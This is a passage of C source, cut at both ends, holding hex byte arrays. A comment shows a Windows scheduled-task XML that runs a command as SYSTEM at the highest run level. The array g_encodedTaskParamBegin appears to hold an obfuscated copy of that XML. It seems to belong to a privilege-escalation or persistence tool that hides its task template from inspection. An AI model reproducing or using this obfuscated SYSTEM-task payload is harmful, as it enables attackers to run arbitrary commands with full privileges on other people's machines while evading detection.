	0x7A, 0xC4, 0xE9, 0xFD, 0xA7, 0x7F, 0x9E, 0x13, 0x7A, 0xC4, 0xE9, 0xFD, 0xA7, 0x7F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0xBE, 0x3D,
	0x7A, 0xF8, 0xE9, 0xD3, 0xA7, 0xFF, 0xAD, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D,
	0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4B, 0xC9, 0x3D,
	0x7A, 0xF4, 0xE2, 0x80, 0xDE, 0x3C, 0xEA, 0x58, 0x17, 0xDA, 0xAE, 0xA6, 0xCE, 0x2B, 0x95, 0x3D,
	0x7A, 0xF4, 0xEB, 0x8C, 0xC6, 0x4D, 0xC1, 0x5F, 0x78, 0xAB, 0x8A, 0xD1, 0xF8, 0x2B, 0x9C, 0x62,
	0x1F, 0xF6, 0xB6, 0xB5, 0xA5, 0x10, 0xF9, 0x3F, 0x25, 0x9C, 0xEB, 0x8C, 0xCE, 0x4D, 0xC1, 0x57,
	0x78, 0xAB, 0x82, 0xD3, 0xA7, 0x4F, 0x9E, 0x3D, 0x7A, 0xF4, 0xE9, 0xD3, 0xA7, 0x4F, 0x96, 0x3A,
	0x7D, 0xF6, 0xEB, 0xD1, 0xA5, 0x4D, 0x9C, 0x3F, 0x78, 0xE7, 0xFA, 0x01, 0xD3, 0xA1, 0xB4, 0xEC,
	0x6B, 0x7F, 0x12, 0xD3, 0x07, 0x86, 0x91, 0x1B, 0x8D, 0xFF, 0xE2
};

/*
* g_encodedTaskParamBegin/g_encodedTaskParamEnd

Reference = L"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\
<Task version=\"1.3\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\
  <RegistrationInfo>\
	<Description>Test Task</Description>\
  </RegistrationInfo>\
  <Triggers />\
  <Principals>\
	<Principal id=\"Author\">\
	  <UserId>SYSTEM</UserId>\
	  <RunLevel>HighestAvailable</RunLevel>\
	</Principal>\
  </Principals>\
  <Settings>\
	<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\
	<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>\
	<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>\
	<AllowHardTerminate>true</AllowHardTerminate>\
	<StartWhenAvailable>false</StartWhenAvailable>\
	<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\
	<IdleSettings>\
	  <Duration>PT10M</Duration>\
	  <WaitTimeout>PT1H</WaitTimeout>\
	  <StopOnIdleEnd>true</StopOnIdleEnd>\
	  <RestartOnIdle>false</RestartOnIdle>\
	</IdleSettings>\
	<AllowStartOnDemand>true</AllowStartOnDemand>\
	<Enabled>true</Enabled>\
	<Hidden>false</Hidden>\
	<RunOnlyIfIdle>false</RunOnlyIfIdle>\
	<UseUnifiedSchedulingEngine>false</UseUnifiedSchedulingEngine>\
	<WakeToRun>false</WakeToRun>\
	<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>\
	<Priority>7</Priority>\
  </Settings>\
  <Actions Context=\"Author\">\
	<Exec>\
	  <Command>cmd.exe</Command>\
	</Exec>\
  </Actions>\
</Task>";

g_encodedTaskParamBegin = L"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\
<Task version=\"1.3\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\
<RegistrationInfo>\
<Description>Test Task</Description>\
</RegistrationInfo>\
<Triggers />\
<Principals>\
<Principal id=\"Author\">\
<UserId>SYSTEM</UserId>\
<RunLevel>HighestAvailable</RunLevel>\
</Principal>\
</Principals>\
<Settings>\
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>\
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>\
<AllowHardTerminate>true</AllowHardTerminate>\
<StartWhenAvailable>false</StartWhenAvailable>\
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\
<IdleSettings>\
<Duration>PT10M</Duration>\
<WaitTimeout>PT1H</WaitTimeout>\
<StopOnIdleEnd>true</StopOnIdleEnd>\
<RestartOnIdle>false</RestartOnIdle>\
</IdleSettings>\
<AllowStartOnDemand>true</AllowStartOnDemand>\
<Enabled>true</Enabled>\
<Hidden>false</Hidden>\
<RunOnlyIfIdle>false</RunOnlyIfIdle>\
<UseUnifiedSchedulingEngine>false</UseUnifiedSchedulingEngine>\
<WakeToRun>false</WakeToRun>\
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>\
<Priority>7</Priority>\
</Settings>\
<Actions Context=\"Author\">\
<Exec>\
<Command>";

g_encodedTaskParamEnd = L"</Command>\
</Exec>\
</Actions>\
</Task>";

*/

static const unsigned char g_encodedTaskParamBegin[2308] = {
	0x5D, 0xC2, 0xBB, 0x09, 0x6A, 0x24, 0x25, 0x90, 0x4C, 0x40, 0xA1, 0x03, 0x71, 0x0E, 0x79, 0x38,
	0x02, 0xE0, 0xB2, 0x83, 0x6E, 0x0E, 0x72, 0x3A, 0x1A, 0xE8, 0xEC, 0xA3, 0x64, 0x8C, 0x29, 0x30,
	0x4F, 0xC2, 0xB4, 0x09, 0x30, 0x24, 0x68, 0x90, 0x45, 0x40, 0xEF, 0x03, 0x64, 0x0E, 0x73, 0x38,
	0x14, 0xE0, 0xA8, 0x83, 0x69, 0x0E, 0x7A, 0x3A, 0x49, 0xE8, 0xF3, 0xA3, 0x13, 0x8C, 0x4C, 0x30,
	0x27, 0xC2, 0xA9, 0x09, 0x23, 0x24, 0x7E, 0x90, 0x02, 0x40, 0xBE, 0x03, 0x39, 0x0E, 0x20, 0x38,
	0x24, 0xE0, 0xA0, 0x83, 0x74, 0x0E, 0x76, 0x3A, 0x54, 0xE8, 0xA7, 0xA3, 0x23, 0x8C, 0x6A, 0x30,
	0x12, 0xC2, 0xED, 0x09, 0x7D, 0x24, 0x26, 0x90, 0x1D, 0x40, 0xA3, 0x03, 0x36, 0x0E, 0x32, 0x38,
	0x43, 0xE0, 0xE3, 0x83, 0x27, 0x0E, 0x65, 0x3A, 0x19, 0xE8, 0xBD, 0xA3, 0x28, 0x8C, 0x6B, 0x30,
	0x5C, 0xC2, 0xA6, 0x09, 0x7A, 0x24, 0x3C, 0x90, 0x54, 0x40, 0xF1, 0x03, 0x3D, 0x0E, 0x33, 0x38,
	0x5F, 0xE0, 0xB2, 0x83, 0x64, 0x0E, 0x75, 0x3A, 0x11, 0xE8, 0xBC, 0xA3, 0x27, 0x8C, 0x6B, 0x30,
	0x4F, 0xC2, 0xE9, 0x09, 0x7B, 0x24, 0x2B, 0x90, 0x52, 0x40, 0xEE, 0x03, 0x74, 0x0E, 0x73, 0x38,
	0x16, 0xE0, 0xB5, 0x83, 0x29, 0x0E, 0x7E, 0x3A, 0x1B, 0xE8, 0xBC, 0xA3, 0x69, 0x8C, 0x6F, 0x30,
	0x08, 0xC2, 0xEA, 0x09, 0x76, 0x24, 0x27, 0x90, 0x57, 0x40, 0xF2, 0x03, 0x28, 0x0E, 0x2E, 0x38,
	0x40, 0xE0, 0xF1, 0x83, 0x33, 0x0E, 0x32, 0x3A, 0x44, 0xE8, 0xE3, 0xA3, 0x69, 0x8C, 0x75, 0x30,
	0x08, 0xC2, 0xF0, 0x09, 0x3D, 0x24, 0x3C, 0x90, 0x41, 0x40, 0xF2, 0x03, 0x6C, 0x0E, 0x3E, 0x38,
	0x4E, 0xE0, 0xFD, 0x83, 0x55, 0x0E, 0x78, 0x3A, 0x13, 0xE8, 0xB8, 0xA3, 0x35, 0x8C, 0x6C, 0x30,
	0x13, 0xC2, 0xE5, 0x09, 0x66, 0x24, 0x21, 0x90, 0x4F, 0x40, 0xEF, 0x03, 0x4E, 0x0E, 0x72, 0x38,
	0x16, 0xE0, 0xAE, 0x83, 0x39, 0x0E, 0x21, 0x3A, 0x30, 0xE8, 0xB4, 0xA3, 0x35, 0x8C, 0x7B, 0x30,
	0x13, 0xC2, 0xED, 0x09, 0x62, 0x24, 0x3C, 0x90, 0x49, 0x40, 0xEE, 0x03, 0x69, 0x0E, 0x22, 0x38,
	0x24, 0xE0, 0xA4, 0x83, 0x74, 0x0E, 0x69, 0x3A, 0x54, 0xE8, 0x85, 0xA3, 0x27, 0x8C, 0x6B, 0x30,
	0x0A, 0xC2, 0xB8, 0x09, 0x3D, 0x24, 0x0C, 0x90, 0x45, 0x40, 0xF2, 0x03, 0x64, 0x0E, 0x6E, 0x38,
	0x19, 0xE0, 0xB1, 0x83, 0x73, 0x0E, 0x74, 0x3A, 0x1B, 0xE8, 0xBF, 0xA3, 0x78, 0x8C, 0x24, 0x30,
	0x4E, 0xC2, 0xD6, 0x09, 0x77, 0x24, 0x2F, 0x90, 0x49, 0x40, 0xF2, 0x03, 0x73, 0x0E, 0x6E, 0x38,
	0x11, 0xE0, 0xB5, 0x83, 0x6E, 0x0E, 0x72, 0x3A, 0x1A, 0xE8, 0x98, 0xA3, 0x28, 0x8C, 0x7E, 0x30,
	0x0E, 0xC2, 0xBA, 0x09, 0x2E, 0x24, 0x1C, 0x90, 0x52, 0x40, 0xE8, 0x03, 0x60, 0x0E, 0x7B, 0x38,
	0x15, 0xE0, 0xB3, 0x83, 0x74, 0x0E, 0x3D, 0x3A, 0x5B, 0xE8, 0xEF, 0xA3, 0x7A, 0x8C, 0x48, 0x30,
	0x13, 0xC2, 0xED, 0x09, 0x7C, 0x24, 0x2B, 0x90, 0x49, 0x40, 0xF1, 0x03, 0x66, 0x0E, 0x70, 0x38,
	0x03, 0xE0, 0xFF, 0x83, 0x3B, 0x0E, 0x4D, 0x3A, 0x06, 0xE8, 0xB8, 0xA3, 0x28, 0x8C, 0x7B, 0x30,
	0x08, 0xC2, 0xF4, 0x09, 0x73, 0x24, 0x24, 0x90, 0x00, 0x40, 0xE8, 0x03, 0x63, 0x0E, 0x21, 0x38,
	0x52, 0xE0, 0x80, 0x83, 0x72, 0x0E, 0x69, 0x3A, 0x1C, 0xE8, 0xBE, 0xA3, 0x34, 0x8C, 0x3A, 0x30,
	0x5F, 0xC2, 0xB8, 0x09, 0x47, 0x24, 0x3B, 0x90, 0x45, 0x40, 0xF3, 0x03, 0x4E, 0x0E, 0x78, 0x38,
	0x4E, 0xE0, 0x92, 0x83, 0x5E, 0x0E, 0x4E, 0x3A, 0x20, 0xE8, 0x94, 0xA3, 0x0B, 0x8C, 0x24, 0x30,
	0x4E, 0xC2, 0xD1, 0x09, 0x61, 0x24, 0x2D, 0x90, 0x52, 0x40, 0xC8, 0x03, 0x63, 0x0E, 0x22, 0x38,
	0x4C, 0xE0, 0x93, 0x83, 0x72, 0x0E, 0x73, 0x3A, 0x38, 0xE8, 0xB4, 0xA3, 0x30, 0x8C, 0x7D, 0x30,
	0x0D, 0xC2, 0xBA, 0x09, 0x5A, 0x24, 0x21, 0x90, 0x47, 0x40, 0xE9, 0x03, 0x62, 0x0E, 0x6F, 0x38,
	0x04, 0xE0, 0x80, 0x83, 0x71, 0x0E, 0x7C, 0x3A, 0x1D, 0xE8, 0xBD, 0xA3, 0x27, 0x8C, 0x7A, 0x30,
	0x0D, 0xC2, 0xE1, 0x09, 0x2E, 0x24, 0x67, 0x90, 0x72, 0x40, 0xF4, 0x03, 0x69, 0x0E, 0x50, 0x38,
	0x15, 0xE0, 0xB7, 0x83, 0x62, 0x0E, 0x71, 0x3A, 0x4A, 0xE8, 0xED, 0xA3, 0x69, 0x8C, 0x48, 0x30,
	0x13, 0xC2, 0xED, 0x09, 0x7C, 0x24, 0x2B, 0x90, 0x49, 0x40, 0xF1, 0x03, 0x66, 0x0E, 0x70, 0x38,
	0x4E, 0xE0, 0xFD, 0x83, 0x28, 0x0E, 0x4D, 0x3A, 0x06, 0xE8, 0xB8, 0xA3, 0x28, 0x8C, 0x7B, 0x30,
	0x08, 0xC2, 0xF4, 0x09, 0x73, 0x24, 0x24, 0x90, 0x53, 0x40, 0xBF, 0x03, 0x3B, 0x0E, 0x4F, 0x38,
	0x15, 0xE0, 0xB5, 0x83, 0x73, 0x0E, 0x74, 0x3A, 0x1A, 0xE8, 0xB6, 0xA3, 0x35, 0x8C, 0x26, 0x30,
	0x5D, 0xC2, 0xC9, 0x09, 0x67, 0x24, 0x24, 0x90, 0x54, 0x40, 0xE8, 0x03, 0x77, 0x0E, 0x70, 0x38,
	0x15, 0xE0, 0x88, 0x83, 0x69, 0x0E, 0x6E, 0x3A, 0x00, 0xE8, 0xB0, 0xA3, 0x28, 0x8C, 0x7B, 0x30,
	0x04, 0xC2, 0xF7, 0x09, 0x42, 0x24, 0x27, 0x90, 0x4C, 0x40, 0xE8, 0x03, 0x64, 0x0E, 0x65, 0x38,
	0x4E, 0xE0, 0x88, 0x83, 0x60, 0x0E, 0x73, 0x3A, 0x1B, 0xE8, 0xA3, 0xA3, 0x23, 0x8C, 0x56, 0x30,
	0x04, 0xC2, 0xF3, 0x09, 0x2E, 0x24, 0x67, 0x90, 0x6D, 0x40, 0xF4, 0x03, 0x6B, 0x0E, 0x68, 0x38,
	0x19, 0xE0, 0xB1, 0x83, 0x6B, 0x0E, 0x78, 0x3A, 0x3D, 0xE8, 0xBF, 0xA3, 0x35, 0x8C, 0x6C, 0x30,
	0x00, 0xC2, 0xEA, 0x09, 0x71, 0x24, 0x2D, 0x90, 0x53, 0x40, 0xD1, 0x03, 0x68, 0x0E, 0x70, 0x38,
	0x19, 0xE0, 0xA2, 0x83, 0x7E, 0x0E, 0x23, 0x3A, 0x48, 0xE8, 0x95, 0xA3, 0x2F, 0x8C, 0x6B, 0x30,
	0x00, 0xC2, 0xE8, 0x09, 0x7E, 0x24, 0x27, 0x90, 0x57, 0x40, 0xD2, 0x03, 0x73, 0x0E, 0x7D, 0x38,
	0x02, 0xE0, 0xB5, 0x83, 0x4E, 0x0E, 0x7B, 0x3A, 0x3B, 0xE8, 0xBF, 0xA3, 0x04, 0x8C, 0x79, 0x30,
	0x15, 0xC2, 0xF0, 0x09, 0x77, 0x24, 0x3A, 0x90, 0x49, 0x40, 0xE4, 0x03, 0x74, 0x0E, 0x22, 0x38,
	0x04, 0xE0, 0xB3, 0x83, 0x72, 0x0E, 0x78, 0x3A, 0x48, 0xE8, 0xFE, 0xA3, 0x02, 0x8C, 0x71, 0x30,
	0x12, 0xC2, 0xE5, 0x09, 0x7E, 0x24, 0x24, 0x90, 0x4F, 0x40, 0xF6, 0x03, 0x54, 0x0E, 0x68, 0x38,
	0x11, 0xE0, 0xB3, 0x83, 0x73, 0x0E, 0x54, 0x3A, 0x12, 0xE8, 0x9E, 0xA3, 0x28, 0x8C, 0x5A, 0x30,
	0x00, 0xC2, 0xF0, 0x09, 0x66, 0x24, 0x2D, 0x90, 0x52, 0x40, 0xE8, 0x03, 0x62, 0x0E, 0x6F, 0x38,
	0x4E, 0xE0, 0xFD, 0x83, 0x54, 0x0E, 0x69, 0x3A, 0x1B, 0xE8, 0xA1, 0xA3, 0x0F, 0x8C, 0x7E, 0x30,
	0x26, 0xC2, 0xEB, 0x09, 0x7B, 0x24, 0x26, 0x90, 0x47, 0x40, 0xCE, 0x03, 0x69, 0x0E, 0x5E, 0x38,
	0x11, 0xE0, 0xB5, 0x83, 0x73, 0x0E, 0x78, 0x3A, 0x06, 0xE8, 0xB8, 0xA3, 0x23, 0x8C, 0x6B, 0x30,
	0x5F, 0xC2, 0xF0, 0x09, 0x60, 0x24, 0x3D, 0x90, 0x45, 0x40, 0xBD, 0x03, 0x28, 0x0E, 0x4F, 0x38,
	0x04, 0xE0, 0xAE, 0x83, 0x77, 0x0E, 0x54, 0x3A, 0x12, 0xE8, 0x96, 0xA3, 0x29, 0x8C, 0x71, 0x30,
	0x0F, 0xC2, 0xE3, 0x09, 0x5D, 0x24, 0x26, 0x90, 0x62, 0x40, 0xE0, 0x03, 0x73, 0x0E, 0x68, 0x38,
	0x15, 0xE0, 0xB3, 0x83, 0x6E, 0x0E, 0x78, 0x3A, 0x07, 0xE8, 0xEF, 0xA3, 0x7A, 0x8C, 0x59, 0x30,
	0x0D, 0xC2, 0xE8, 0x09, 0x7D, 0x24, 0x3F, 0x90, 0x68, 0x40, 0xE0, 0x03, 0x75, 0x0E, 0x78, 0x38,
	0x24, 0xE0, 0xA4, 0x83, 0x75, 0x0E, 0x70, 0x3A, 0x1D, 0xE8, 0xBF, 0xA3, 0x27, 0x8C, 0x6C, 0x30,
	0x04, 0xC2, 0xBA, 0x09, 0x66, 0x24, 0x3A, 0x90, 0x55, 0x40, 0xE4, 0x03, 0x3B, 0x0E, 0x33, 0x38,
	0x31, 0xE0, 0xAD, 0x83, 0x6B, 0x0E, 0x72, 0x3A, 0x03, 0xE8, 0x99, 0xA3, 0x27, 0x8C, 0x6A, 0x30,
	0x05, 0xC2, 0xD0, 0x09, 0x77, 0x24, 0x3A, 0x90, 0x4D, 0x40, 0xE8, 0x03, 0x69, 0x0E, 0x7D, 0x38,
	0x04, 0xE0, 0xA4, 0x83, 0x39, 0x0E, 0x21, 0x3A, 0x27, 0xE8, 0xA5, 0xA3, 0x27, 0x8C, 0x6A, 0x30,
	0x15, 0xC2, 0xD3, 0x09, 0x7A, 0x24, 0x2D, 0x90, 0x4E, 0x40, 0xC0, 0x03, 0x71, 0x0E, 0x7D, 0x38,
	0x19, 0xE0, 0xAD, 0x83, 0x66, 0x0E, 0x7F, 0x3A, 0x18, 0xE8, 0xB4, 0xA3, 0x78, 0x8C, 0x7E, 0x30,
	0x00, 0xC2, 0xE8, 0x09, 0x61, 0x24, 0x2D, 0x90, 0x1C, 0x40, 0xAE, 0x03, 0x54, 0x0E, 0x68, 0x38,
	0x11, 0xE0, 0xB3, 0x83, 0x73, 0x0E, 0x4A, 0x3A, 0x1C, 0xE8, 0xB4, 0xA3, 0x28, 0x8C, 0x59, 0x30,
	0x17, 0xC2, 0xE5, 0x09, 0x7B, 0x24, 0x24, 0x90, 0x41, 0x40, 0xE3, 0x03, 0x6B, 0x0E, 0x79, 0x38,
	0x4E, 0xE0, 0xFD, 0x83, 0x55, 0x0E, 0x68, 0x3A, 0x1A, 0xE8, 0x9E, 0xA3, 0x28, 0x8C, 0x74, 0x30,
	0x18, 0xC2, 0xCD, 0x09, 0x74, 0x24, 0x06, 0x90, 0x45, 0x40, 0xF5, 0x03, 0x70, 0x0E, 0x73, 0x38,
	0x02, 0xE0, 0xAA, 0x83, 0x46, 0x0E, 0x6B, 0x3A, 0x15, 0xE8, 0xB8, 0xA3, 0x2A, 0x8C, 0x79, 0x30,
	0x03, 0xC2, 0xE8, 0x09, 0x77, 0x24, 0x76, 0x90, 0x46, 0x40, 0xE0, 0x03, 0x6B, 0x0E, 0x6F, 0x38,
	0x15, 0xE0, 0xFD, 0x83, 0x28, 0x0E, 0x4F, 0x3A, 0x01, 0xE8, 0xBF, 0xA3, 0x09, 0x8C, 0x76, 0x30,
	0x0D, 0xC2, 0xFD, 0x09, 0x5B, 0x24, 0x2E, 0x90, 0x6E, 0x40, 0xE4, 0x03, 0x73, 0x0E, 0x6B, 0x38,
	0x1F, 0xE0, 0xB3, 0x83, 0x6C, 0x0E, 0x5C, 0x3A, 0x02, 0xE8, 0xB0, 0xA3, 0x2F, 0x8C, 0x74, 0x30,
	0x00, 0xC2, 0xE6, 0x09, 0x7E, 0x24, 0x2D, 0x90, 0x1E, 0x40, 0xBD, 0x03, 0x4E, 0x0E, 0x78, 0x38,
